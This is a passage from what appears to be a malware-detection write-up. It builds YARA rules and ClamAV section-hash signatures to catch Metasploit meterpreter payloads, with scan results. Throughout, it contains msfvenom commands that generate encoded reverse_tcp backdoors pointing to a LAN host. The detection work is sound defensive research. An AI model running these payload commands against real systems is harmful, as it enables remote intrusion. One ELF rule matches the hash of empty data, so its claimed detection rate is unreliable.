3 0x000002bc 0xfa 0x000002bc 0xfa -r-- 7c2e785706ac1022b620da51401b1527 .dynstr STRTAB alloc
4 0x000003b8 0x2668 0x000003b8 0x2668 -r-- a52671b7b24b271db43904a618b8c8cd .rel.dyn REL alloc
5 0x00002a20 0x11 0x00002a20 0x11 -r-x dbb96323af1efc4843e82c86eeba259f .init PROGBITS alloc,execute
6 0x00002a40 0x30 0x00002a40 0x30 -r-x 6cda0debb4769986db82b19257b7e22f .plt PROGBITS alloc,execute
7 0x00002a70 0xa53e1 0x00002a70 0xa53e1 -r-x 90877fd31601aebd85235b1bc77748e2 .text PROGBITS alloc,execute
8 0x000a7e51 0xc 0x000a7e51 0xc -r-x 81cdf8d22e372e05f975830e145f6027 .fini PROGBITS alloc,execute
9 0x000a7e60 0x13600 0x000a7e60 0x13600 -r-- ef3358f36fa228607a163b488c6401b2 .rodata PROGBITS alloc
10 0x000bb460 0x243c0 0x000bb460 0x243c0 -r-- a45450bb6ac0056e812e015f34201d5d .eh_frame PROGBITS alloc
11 0x000e0330 0x0 0x000e1330 0x4 -rw- d41d8cd98f00b204e9800998ecf8427e .tbss NOBITS write,alloc,TLS
12 0x000e0330 0x8 0x000e1330 0x8 -rw- 14f9c4ad952bff03b2eb8fa9fb3aae76 .ctors PROGBITS write,alloc
13 0x000e0338 0x8 0x000e1338 0x8 -rw- 14f9c4ad952bff03b2eb8fa9fb3aae76 .dtors PROGBITS write,alloc
14 0x000e0340 0x1bb8 0x000e1340 0x1bb8 -rw- 4c2b6d6591dd14fd056291411386d559 .data.rel.ro PROGBITS write,alloc
15 0x000e1ef8 0xa0 0x000e2ef8 0xa0 -rw- 692e5d0f420503ac124932e8e5ecc365 .dynamic DYNAMIC write,alloc
16 0x000e1f98 0x4c 0x000e2f98 0x4c -rw- a4ba71e74578e150d3f28d25ce588bfc .got PROGBITS write,alloc
17 0x000e2000 0x14 0x000e3000 0x14 -rw- eec04ff93055537b47ebcf74237a1dd7 .got.plt PROGBITS write,alloc
18 0x000e2020 0xd00 0x000e3020 0xd00 -rw- ba27a322b4a86850b1571a32bcde6e46 .data PROGBITS write,alloc
19 0x000e2d20 0x0 0x000e3d20 0xca14 -rw- d41d8cd98f00b204e9800998ecf8427e .bss NOBITS write,alloc
20 0x000e2d20 0x11 0x00000000 0x11 ---- fbeb0b6fd7a7f78a880f68c413893f36 .comment PROGBITS merge,strings
21 0x000e2d31 0xa0 0x00000000 0xa0 ---- d12b60c77bde5f6f89255e69014abc20 .debug_aranges PROGBITS
22 0x000e2dd1 0x36cd 0x00000000 0x36cd ---- cd90c83abb9c59c2ccbb9749d0b2e2be .debug_info PROGBITS
23 0x000e649e 0xa36 0x00000000 0xa36 ---- 8cca4e8fb3a7a140818083b1d4987f6f .debug_abbrev PROGBITS
24 0x000e6ed4 0xb19 0x00000000 0xb19 ---- 8ed9dff1f49c43218b388f8a7d11b37e .debug_line PROGBITS
25 0x000e79ed 0xae8 0x00000000 0xae8 ---- 5128282aaea2f633ef5cfd4d8fdedce6 .debug_str PROGBITS merge,strings
26 0x000e84d5 0x1914 0x00000000 0x1914 ---- a08d5bc08036e67f4fbec6f03fc7945f .debug_loc PROGBITS
27 0x000e9de9 0xc8 0x00000000 0xc8 ---- 580179273d97400c0860da5bf8dc4ebf .debug_ranges PROGBITS
28 0x0010db4d 0x103 0x00000000 0x103 ---- b501b0295a7b0a555b2216cd65e2acbb .shstrtab STRTAB
29 0x000e9eb4 0x13b30 0x00000000 0x13b30 ---- 8d057c45acdb5bbddc15f25d73738e77 .symtab SYMTAB
30 0x000fd9e4 0x10169 0x00000000 0x10169 ---- 4c6240db819969d6bc67a3fb82ef4739 .strtab STRTAB
Compare to previous result of x64 binaries, we are seeing some sections that have same hashes. Very interesting!
19 0x000e2d20 0x0 0x000e3d20 0xca14 -rw- d41d8cd98f00b204e9800998ecf8427e .bss NOBITS write,alloc
20 0x000e2d20 0x11 0x00000000 0x11 ---- fbeb0b6fd7a7f78a880f68c413893f36 .comment PROGBITS merge,strings
So instead of .debug_info
like previous rule, we can either use .bss
or .comment
or both. Problem: in run11_x86
, section .bss
has id 19 and .bss
section in run11_x64
has id 20. We'll need a loop to check sections instead of hardcoded id.
Our rule should look like this
rule Linux_msf_staged
{
condition:
uint32(0) == 0x464c457f and
for any i in (0 .. elf.number_of_sections - 1): (
hash.md5(elf.sections[i].offset, elf.sections[i].size) == "d41d8cd98f00b204e9800998ecf8427e" or
hash.md5(elf.sections[i].offset, elf.sections[i].size) == "fbeb0b6fd7a7f78a880f68c413893f36"
)
}
Final rule for ELF binaries detection
import "elf"
import "hash"
rule Linux_msf_stageless
{
condition:
uint32(0) == 0x464c457f and elf.number_of_sections == 0
}
rule Linux_msf_staged
{
condition:
uint32(0) == 0x464c457f and
for any i in (0 .. elf.number_of_sections - 1): (
hash.md5(elf.sections[i].offset, elf.sections[i].size) == "d41d8cd98f00b204e9800998ecf8427e" or
hash.md5(elf.sections[i].offset, elf.sections[i].size) == "fbeb0b6fd7a7f78a880f68c413893f36"
)
}
Result
$yara section_hash.yar /tmp/msf_payloads | wc -l
24
Generate
msfvenom -p windows/x64/meterpreter_reverse_tcp lhost=192.168.0.105 lport=8888 -f exe -o run1_x64.exe
msfvenom -p windows/x64/meterpreter_reverse_tcp lhost=192.168.0.105 lport=8888 -f exe -o run2_x64.exe -e x86/alpha_mixed -k 12
msfvenom -p windows/x64/meterpreter_reverse_tcp lhost=192.168.0.105 lport=8888 -f exe -o run3_x64.exe -e x86/xor_dynamic -k 15
msfvenom -p windows/x64/meterpreter_reverse_tcp lhost=192.168.0.105 lport=8888 -f exe -o run4_x64.exe -e x86/shikata_ga_nai -k 36
msfvenom -p windows/x64/meterpreter_reverse_tcp lhost=192.168.0.105 lport=8888 -f exe -o run5_x64.exe -e x86/unicode_mixed -k 62
msfvenom -p windows/x64/meterpreter_reverse_tcp lhost=192.168.0.105 lport=8888 -f exe -o run6_x64.exe -e x86/xor_dynamic -k 15
Clamscan
$clamscan .
/tmp/msf_payloads/PEFiles/run1_x64.exe: Win.Exploit.D388a-9756522-0 FOUND
/tmp/msf_payloads/PEFiles/run2_x64.exe: OK
/tmp/msf_payloads/PEFiles/run3_x64.exe: OK
/tmp/msf_payloads/PEFiles/run4_x64.exe: Win.Trojan.MSShellcode-6360730-0 FOUND
/tmp/msf_payloads/PEFiles/run5_x64.exe: Win.Exploit.Unicode_Mixed-1 FOUND
/tmp/msf_payloads/PEFiles/run6_x64.exe: OK
Section hashes
$rz-bin -S -K md5 run1_x64.exe
[Sections]
nth paddr size vaddr vsize perm md5 name flags
―――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――
0 0x00000400 0x1200 0x140001000 0x2000 -r-x a4a5deae25708a9e05f50bcad7075c86 .text CNT_CODE
1 0x00001600 0x200 0x140003000 0x1000 -r-- dba7016932710a9849d768a62fd34b26 .rdata CNT_INITIALIZED_DATA
2 0x00001800 0x31000 0x140004000 0x31000 -rwx 2f2fb9d45d318de751fc3f50a7a6cb75 .qzaq CNT_CODE
$rz-bin -S -K md5 run2_x64.exe
[Sections]
nth paddr size vaddr vsize perm md5 name flags
――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――
0 0x00000400 0x1200 0x140001000 0x2000 -r-x a4a5deae25708a9e05f50bcad7075c86 .text CNT_CODE
1 0x00001600 0x200 0x140003000 0x1000 -r-- 8f30dcc7776dff06b522ae7e684d1548 .rdata CNT_INITIALIZED_DATA
2 0x00001800 0x61e00 0x140004000 0x62000 -rwx 83718e50a2430008378e8b70d20ac8b2 .text_1 CNT_CODE
Yara rules
import "pe"
rule Win64_msf_staged
{
condition:
pe.is_pe and
for any i in (0 .. pe.number_of_sections - 1): (
hash.md5(pe.sections[i].raw_data_offset, pe.sections[i].raw_data_size) == "a4a5deae25708a9e05f50bcad7075c86"
)
}
Scan result:
$yara section_hash.yar /tmp/msf_payloads/PEFiles
Win64_msf_staged /tmp/msf_payloads/PEFiles/run3_x64.exe
Win64_msf_staged /tmp/msf_payloads/PEFiles/run5_x64.exe
Win64_msf_staged /tmp/msf_payloads/PEFiles/run2_x64.exe
Win64_msf_staged /tmp/msf_payloads/PEFiles/run6_x64.exe
Win64_msf_staged /tmp/msf_payloads/PEFiles/run4_x64.exe
Win64_msf_staged /tmp/msf_payloads/PEFiles/run1_x64.exe
Now let's try with x64 stageless payloads
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.0.105 lport=8888 -f exe -o run11_x64.exe
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.0.105 lport=8888 -f exe -o run12_x64.exe -e x86/alpha_mixed -k 12
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.0.105 lport=8888 -f exe -o run13_x64.exe -e x86/xor_dynamic -k 15
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.0.105 lport=8888 -f exe -o run14_x64.exe -e x86/shikata_ga_nai -k 36
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.0.105 lport=8888 -f exe -o run15_x64.exe -e x86/unicode_mixed -k 62
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.0.105 lport=8888 -f exe -o run16_x64.exe -e x86/xor_dynamic -k 15
Yara scan result
$yara section_hash.yar /tmp/msf_payloads/PEFiles
Win64_msf_staged /tmp/msf_payloads/PEFiles/run3_x64.exe
Win64_msf_staged /tmp/msf_payloads/PEFiles/run5_x64.exe
Win64_msf_staged /tmp/msf_payloads/PEFiles/run2_x64.exe
Win64_msf_staged /tmp/msf_payloads/PEFiles/run6_x64.exe
Win64_msf_staged /tmp/msf_payloads/PEFiles/run4_x64.exe
Win64_msf_staged /tmp/msf_payloads/PEFiles/run1_x64.exe
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.105 lport=8888 -f exe -o run11_x86.exe
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.105 lport=8888 -f exe -o run12_x86.exe -e x86/alpha_mixed -k 22
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.105 lport=8888 -f exe -o run13_x86.exe -e x86/xor_dynamic -k 35
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.105 lport=8888 -f exe -o run14_x86.exe -e x86/shikata_ga_nai -k 46
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.105 lport=8888 -f exe -o run15_x86.exe -e x86/unicode_mixed -k 52
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.105 lport=8888 -f exe -o run16_x86.exe -e x86/xor_dynamic -k 25
msfvenom -p windows/meterpreter_reverse_tcp lhost=192.168.0.105 lport=8888 -f exe -o run1_x86.exe
msfvenom -p windows/meterpreter_reverse_tcp lhost=192.168.0.105 lport=8888 -f exe -o run2_x86.exe -e x86/alpha_mixed -k 22
msfvenom -p windows/meterpreter_reverse_tcp lhost=192.168.0.105 lport=8888 -f exe -o run3_x86.exe -e x86/xor_dynamic -k 35
msfvenom -p windows/meterpreter_reverse_tcp lhost=192.168.0.105 lport=8888 -f exe -o run4_x86.exe -e x86/shikata_ga_nai -k 46
msfvenom -p windows/meterpreter_reverse_tcp lhost=192.168.0.105 lport=8888 -f exe -o run5_x86.exe -e x86/unicode_mixed -k 52
msfvenom -p windows/meterpreter_reverse_tcp lhost=192.168.0.105 lport=8888 -f exe -o run6_x86.exe -e x86/xor_dynamic -k 25
$rz-bin -S -K md5 run11_x86.exe
[Sections]
nth paddr size vaddr vsize perm md5 name flags
――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――
0 0x00001000 0xb000 0x00401000 0xb000 -r-x 05eb9dc0707996fe09c8a25021c93b25 .text CNT_CODE
1 0x0000c000 0x1000 0x0040c000 0x1000 -r-- 25d7ceee3aa85bb3e8c5174736f6f830 .rdata CNT_INITIALIZED_DATA
2 0x0000d000 0x4000 0x0040d000 0x8000 -rw- 283b5f792323d57b9db4d2bcc46580f8 .data CNT_INITIALIZED_DATA
3 0x00011000 0x1000 0x00415000 0x1000 -r-- c13a9413aea7291b6fc85d75bfcde381 .rsrc CNT_INITIALIZED_DATA
$rz-bin -S -K md5 run12_x86.exe
[Sections]
nth paddr size vaddr vsize perm md5 name flags
―――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――
0 0x00000400 0xb000 0x00401000 0xb000 -r-x f29e95e927219cf6bd883d79b67751fd .text CNT_CODE
1 0x0000b400 0x1000 0x0040c000 0x1000 -r-- 2eb1ab1e301fa8cb8872c2881ab8813e .rdata CNT_INITIALIZED_DATA
2 0x0000c400 0x4000 0x0040d000 0x8000 -rw- 283b5f792323d57b9db4d2bcc46580f8 .data CNT_INITIALIZED_DATA
3 0x00010400 0x1000 0x00415000 0x1000 -r-- c13a9413aea7291b6fc85d75bfcde381 .rsrc CNT_INITIALIZED_DATA
4 0x00011400 0x1400 0x00416000 0x2000 -rwx fd77be5f098d56322df61c24cfab696d .text_1 CNT_CODE
We are having .data
which has 283b5f792323d57b9db4d2bcc46580f8
and .rsrc
which has c13a9413aea7291b6fc85d75bfcde381
as signature
Let's check staged as well.
$rz-bin -S -K md5 run1_x86.exe
[Sections]
nth paddr size vaddr vsize perm md5 name flags
――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――
0 0x00000400 0xb000 0x00401000 0xb000 -r-x f29e95e927219cf6bd883d79b67751fd .text CNT_CODE
1 0x0000b400 0x1000 0x0040c000 0x1000 -r-- 5759c53700372fd0c4c4e7698406e441 .rdata CNT_INITIALIZED_DATA
2 0x0000c400 0x4000 0x0040d000 0x8000 -rw- 283b5f792323d57b9db4d2bcc46580f8 .data CNT_INITIALIZED_DATA
3 0x00010400 0x1000 0x00415000 0x1000 -r-- c13a9413aea7291b6fc85d75bfcde381 .rsrc CNT_INITIALIZED_DATA
4 0x00011400 0x2be00 0x00416000 0x2c000 -rwx 2a0cfcc439e3c16c8cb0ee1e25ac756f .anmg CNT_CODE
$rz-bin -S -K md5 run2_x86.exe
[Sections]
nth paddr size vaddr vsize perm md5 name flags
―――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――
0 0x00000400 0xb000 0x00401000 0xb000 -r-x f29e95e927219cf6bd883d79b67751fd .text CNT_CODE
1 0x0000b400 0x1000 0x0040c000 0x1000 -r-- 4ea8209461f87ad1253d6748a5b12cb3 .rdata CNT_INITIALIZED_DATA
2 0x0000c400 0x4000 0x0040d000 0x8000 -rw- 283b5f792323d57b9db4d2bcc46580f8 .data CNT_INITIALIZED_DATA
3 0x00010400 0x1000 0x00415000 0x1000 -r-- c13a9413aea7291b6fc85d75bfcde381 .rsrc CNT_INITIALIZED_DATA
4 0x00011400 0x56a00 0x00416000 0x57000 -rwx 0a81ab2ef9c574855872f7ced3c375a1 .text_1 CNT_CODE
We are having the same result for .data
and .rsrc
Let's make the an other rule
rule Win32_msf_section_hashes
{
condition:
pe.is_pe and
for any i in (0 .. pe.number_of_sections - 1): (
hash.md5(pe.sections[i].raw_data_offset, pe.sections[i].raw_data_size) == "283b5f792323d57b9db4d2bcc46580f8" or
hash.md5(pe.sections[i].raw_data_offset, pe.sections[i].raw_data_size) == "c13a9413aea7291b6fc85d75bfcde381"
)
}
Scan result: 24 files / 24 files
$yara section_hash.yar /tmp/msf_payloads/PEFiles | wc -l
24
import "elf"
import "hash"
import "pe"
rule Linux_msf_stageless
{
condition:
uint32(0) == 0x464c457f and elf.number_of_sections == 0
}
rule Linux_msf_staged
{
condition:
uint32(0) == 0x464c457f and
for any i in (0 .. elf.number_of_sections - 1): (
hash.md5(elf.sections[i].offset, elf.sections[i].size) == "d41d8cd98f00b204e9800998ecf8427e" or
hash.md5(elf.sections[i].offset, elf.sections[i].size) == "fbeb0b6fd7a7f78a880f68c413893f36"
)
}
rule Win64_msf_section_hashes
{
condition:
pe.is_pe and
for any i in (0 .. pe.number_of_sections - 1): (
hash.md5(pe.sections[i].raw_data_offset, pe.sections[i].raw_data_size) == "a4a5deae25708a9e05f50bcad7075c86"
)
}
rule Win32_msf_section_hashes
{
condition:
pe.is_pe and
for any i in (0 .. pe.number_of_sections - 1): (
hash.md5(pe.sections[i].raw_data_offset, pe.sections[i].raw_data_size) == "283b5f792323d57b9db4d2bcc46580f8" or
hash.md5(pe.sections[i].raw_data_offset, pe.sections[i].raw_data_size) == "c13a9413aea7291b6fc85d75bfcde381"
)
}
Scan whole folder
$yara section_hash.yar /tmp/msf_payloads -r
Linux_msf_stageless /tmp/msf_payloads/run1_x86
Linux_msf_stageless /tmp/msf_payloads/run3
Linux_msf_stageless /tmp/msf_payloads/run5_x86
Linux_msf_stageless /tmp/msf_payloads/run6
Linux_msf_stageless /tmp/msf_payloads/run3_x86
Linux_msf_stageless /tmp/msf_payloads/run2
Linux_msf_stageless /tmp/msf_payloads/run1
Linux_msf_stageless /tmp/msf_payloads/run4
Win64_msf_section_hashes /tmp/msf_payloads/PEFiles/run13_x64.exe
Win64_msf_section_hashes /tmp/msf_payloads/PEFiles/run14_x64.exe
Win64_msf_section_hashes /tmp/msf_payloads/PEFiles/run15_x64.exe
Win64_msf_section_hashes /tmp/msf_payloads/PEFiles/run16_x64.exe
Win32_msf_section_hashes /tmp/msf_payloads/PEFiles/run11_x86.exe
Win64_msf_section_hashes /tmp/msf_payloads/PEFiles/run6_x64.exe
Win32_msf_section_hashes /tmp/msf_payloads/PEFiles/run12_x86.exe
Win32_msf_section_hashes /tmp/msf_payloads/PEFiles/run13_x86.exe
Win32_msf_section_hashes /tmp/msf_payloads/PEFiles/run14_x86.exe
Win32_msf_section_hashes /tmp/msf_payloads/PEFiles/run15_x86.exe
Win32_msf_section_hashes /tmp/msf_payloads/PEFiles/run16_x86.exe
Win32_msf_section_hashes /tmp/msf_payloads/PEFiles/run3_x86.exe
Win32_msf_section_hashes /tmp/msf_payloads/PEFiles/run1_x86.exe
Win32_msf_section_hashes /tmp/msf_payloads/PEFiles/run4_x86.exe
Win32_msf_section_hashes /tmp/msf_payloads/PEFiles/run6_x86.exe
Linux_msf_stageless /tmp/msf_payloads/run6_x86
Linux_msf_stageless /tmp/msf_payloads/run4_x86
Linux_msf_stageless /tmp/msf_payloads/run2_x86
Win64_msf_section_hashes /tmp/msf_payloads/PEFiles/run11_x64.exe
Linux_msf_stageless /tmp/msf_payloads/run16_x64
Win32_msf_section_hashes /tmp/msf_payloads/PEFiles/run5_x86.exe
Win64_msf_section_hashes /tmp/msf_payloads/PEFiles/run1_x64.exe
Win32_msf_section_hashes /tmp/msf_payloads/PEFiles/run2_x86.exe
Linux_msf_stageless /tmp/msf_payloads/run5
Linux_msf_stageless /tmp/msf_payloads/run14_x86
Win64_msf_section_hashes /tmp/msf_payloads/PEFiles/run12_x64.exe
Win64_msf_section_hashes /tmp/msf_payloads/PEFiles/run4_x64.exe
Win64_msf_section_hashes /tmp/msf_payloads/PEFiles/run2_x64.exe
Win64_msf_section_hashes /tmp/msf_payloads/PEFiles/run3_x64.exe
Win64_msf_section_hashes /tmp/msf_payloads/PEFiles/run5_x64.exe
Linux_msf_stageless /tmp/msf_payloads/run13_x64
Linux_msf_stageless /tmp/msf_payloads/run13_x86
Linux_msf_stageless /tmp/msf_payloads/run16_x86
Linux_msf_stageless /tmp/msf_payloads/run15_x86
Linux_msf_stageless /tmp/msf_payloads/run12_x86
Linux_msf_staged /tmp/msf_payloads/run11_x64
Linux_msf_staged /tmp/msf_payloads/run14_x64
Linux_msf_staged /tmp/msf_payloads/run15_x64
Linux_msf_staged /tmp/msf_payloads/run12_x64
Linux_msf_staged /tmp/msf_payloads/run11_x86
Quick count: we detected 48 files
$yara section_hash.yar /tmp/msf_payloads -r | wc -l
48
Total sample count:
$ls -R | grep run | wc -l
48
=> With yara rules and section hashes, we detected 100%. Hold on, there is more
** Note ** there is a new error of the loader and latest engine version. Issue: taviso/loadlibrary#103. I'll use older engine version to check (not so fair though)
$./mpclient /tmp/msf_payloads/
Creating scan session...
Loading database...
Threat Backdoor:Linux/Dakkatoni.az!MTB identified! [/tmp/msf_payloads/run11_x86]
Threat Backdoor:Linux/Dakkatoni.az!MTB identified! [/tmp/msf_payloads/run11_x64]
Threat Backdoor:Linux/Dakkatoni.az!MTB identified! [/tmp/msf_payloads/run12_x64]
Threat Backdoor:Linux/Dakkatoni.az!MTB identified! [/tmp/msf_payloads/run14_x64]
Threat Backdoor:Linux/Dakkatoni.az!MTB identified! [/tmp/msf_payloads/run15_x64]
Threat Trojan:Win64/Meterpreter.A identified! [/tmp/msf_payloads/PEFiles/run1_x64.exe]
PUA SLF:Win32/Metefier.A_svt identified! [/tmp/msf_payloads/PEFiles/run2_x64.exe]
PUA SLF:Win32/Metefier.A_svt identified! [/tmp/msf_payloads/PEFiles/run3_x64.exe]
PUA SLF:Win32/Metefier.A_svt identified! [/tmp/msf_payloads/PEFiles/run4_x64.exe]
PUA SLF:Win32/Metefier.A_svt identified! [/tmp/msf_payloads/PEFiles/run5_x64.exe]
PUA SLF:Win32/Metefier.A_svt identified! [/tmp/msf_payloads/PEFiles/run6_x64.exe]
Threat Trojan:Win64/Meterpreter.B identified! [/tmp/msf_payloads/PEFiles/run11_x64.exe]
PUA SLF:Win32/Metefier.A_svt identified! [/tmp/msf_payloads/PEFiles/run12_x64.exe]
PUA SLF:Win32/Metefier.A_svt identified! [/tmp/msf_payloads/PEFiles/run13_x64.exe]
PUA SLF:Win32/Metefier.A_svt identified! [/tmp/msf_payloads/PEFiles/run14_x64.exe]
PUA SLF:Win32/Metefier.A_svt identified! [/tmp/msf_payloads/PEFiles/run15_x64.exe]
PUA SLF:Win32/Metefier.A_svt identified! [/tmp/msf_payloads/PEFiles/run16_x64.exe]
Threat Trojan:Win32/Meterpreter.gen!E identified! [/tmp/msf_payloads/PEFiles/run11_x86.exe]
Threat Trojan:Win32/Dorv.A!rfn identified! [/tmp/msf_payloads/PEFiles/run12_x86.exe]
Threat Trojan:Win32/Dorv.A!rfn identified! [/tmp/msf_payloads/PEFiles/run13_x86.exe]
Threat Trojan:Win32/Dorv.A!rfn identified! [/tmp/msf_payloads/PEFiles/run14_x86.exe]
Threat Trojan:Win32/Dorv.A!rfn identified! [/tmp/msf_payloads/PEFiles/run15_x86.exe]
Threat Trojan:Win32/Dorv.A!rfn identified! [/tmp/msf_payloads/PEFiles/run16_x86.exe]
Threat Trojan:Win64/Meterpreter.A identified! [/tmp/msf_payloads/PEFiles/run1_x86.exe]
Threat Trojan:Win64/Meterpreter.A identified! [/tmp/msf_payloads/PEFiles/run2_x86.exe]
Threat Trojan:Win64/Meterpreter.A identified! [/tmp/msf_payloads/PEFiles/run3_x86.exe]
Threat Trojan:Win64/Meterpreter.A identified! [/tmp/msf_payloads/PEFiles/run4_x86.exe]
Threat Trojan:Win32/Dorv.A!rfn identified! [/tmp/msf_payloads/PEFiles/run5_x86.exe]
Threat Trojan:Win64/Meterpreter.A identified! [/tmp/msf_payloads/PEFiles/run6_x86.exe]
-> 29 files were detected / 48 files.
Section hash based syntax PESectionSize:PESectionHash:MalwareName
. File extension: .msb
** NOTE from ClamAV doc **
To ensure proper backwards compatibility with older versions of ClamAV, these signatures must have a minimum functional level of 73 or higher. Signatures that use the wildcard size without this level set will be rejected as malformed.
So we have database signature like this:
*:a4a5deae25708a9e05f50bcad7075c86:Win64.metasploit.backdoor:73
*:283b5f792323d57b9db4d2bcc46580f8:Win32.metasploit.backdoor-1:73
*:c13a9413aea7291b6fc85d75bfcde381:Win32.metasploit.backdoor-2:73
Scan result
$clamscan -d msf.msb /tmp/msf_payloads/PEFiles/
/tmp/msf_payloads/PEFiles/run1_x64.exe: Win64.metasploit.backdoor.UNOFFICIAL FOUND
/tmp/msf_payloads/PEFiles/run2_x64.exe: Win64.metasploit.backdoor.UNOFFICIAL FOUND
/tmp/msf_payloads/PEFiles/run3_x64.exe: Win64.metasploit.backdoor.UNOFFICIAL FOUND
/tmp/msf_payloads/PEFiles/run4_x64.exe: Win64.metasploit.backdoor.UNOFFICIAL FOUND
/tmp/msf_payloads/PEFiles/run5_x64.exe: Win64.metasploit.backdoor.UNOFFICIAL FOUND
/tmp/msf_payloads/PEFiles/run6_x64.exe: Win64.metasploit.backdoor.UNOFFICIAL FOUND
/tmp/msf_payloads/PEFiles/run11_x64.exe: Win64.metasploit.backdoor.UNOFFICIAL FOUND
/tmp/msf_payloads/PEFiles/run12_x64.exe: Win64.metasploit.backdoor.UNOFFICIAL FOUND
/tmp/msf_payloads/PEFiles/run13_x64.exe: Win64.metasploit.backdoor.UNOFFICIAL FOUND
/tmp/msf_payloads/PEFiles/run14_x64.exe: Win64.metasploit.backdoor.UNOFFICIAL FOUND
/tmp/msf_payloads/PEFiles/run15_x64.exe: Win64.metasploit.backdoor.UNOFFICIAL FOUND
/tmp/msf_payloads/PEFiles/run16_x64.exe: Win64.metasploit.backdoor.UNOFFICIAL FOUND
/tmp/msf_payloads/PEFiles/run11_x86.exe: Win32.metasploit.backdoor-1.UNOFFICIAL FOUND
/tmp/msf_payloads/PEFiles/run12_x86.exe: Win32.metasploit.backdoor-1.UNOFFICIAL FOUND
/tmp/msf_payloads/PEFiles/run13_x86.exe: Win32.metasploit.backdoor-1.UNOFFICIAL FOUND
/tmp/msf_payloads/PEFiles/run14_x86.exe: Win32.metasploit.backdoor-1.UNOFFICIAL FOUND
/tmp/msf_payloads/PEFiles/run15_x86.exe: Win32.metasploit.backdoor-1.UNOFFICIAL FOUND
/tmp/msf_payloads/PEFiles/run16_x86.exe: Win32.metasploit.backdoor-1.UNOFFICIAL FOUND
/tmp/msf_payloads/PEFiles/run1_x86.exe: Win32.metasploit.backdoor-1.UNOFFICIAL FOUND
/tmp/msf_payloads/PEFiles/run2_x86.exe: Win32.metasploit.backdoor-1.UNOFFICIAL FOUND
/tmp/msf_payloads/PEFiles/run3_x86.exe: Win32.metasploit.backdoor-1.UNOFFICIAL FOUND
/tmp/msf_payloads/PEFiles/run4_x86.exe: Win32.metasploit.backdoor-1.UNOFFICIAL FOUND
/tmp/msf_payloads/PEFiles/run5_x86.exe: Win32.metasploit.backdoor-1.UNOFFICIAL FOUND
/tmp/msf_payloads/PEFiles/run6_x86.exe: Win32.metasploit.backdoor-1.UNOFFICIAL FOUND
----------- SCAN SUMMARY -----------
Known viruses: 3
Engine version: 0.103.3
Scanned directories: 1
Scanned files: 24
Infected files: 24
Data scanned: 4.12 MB
Data read: 3.76 MB (ratio 1.10:1)
Time: 0.060 sec (0 m 0 s)
Start Date: 2021:08:18 04:33:30
End Date: 2021:08:18 04:33:30
Playing with the Linux-Malware-Samples (link: https://github.com/MalwareSamples/Linux-Malware-Samples), I found out when i use section hash of 1 Mirai sample, yara detected 93 files. Compare to ClamAV database + scan result, it is 12 different signatures: 9 Mirai's signatures, 2 Gafgyt and 1 Tsunami signatures. Analysis is on the way.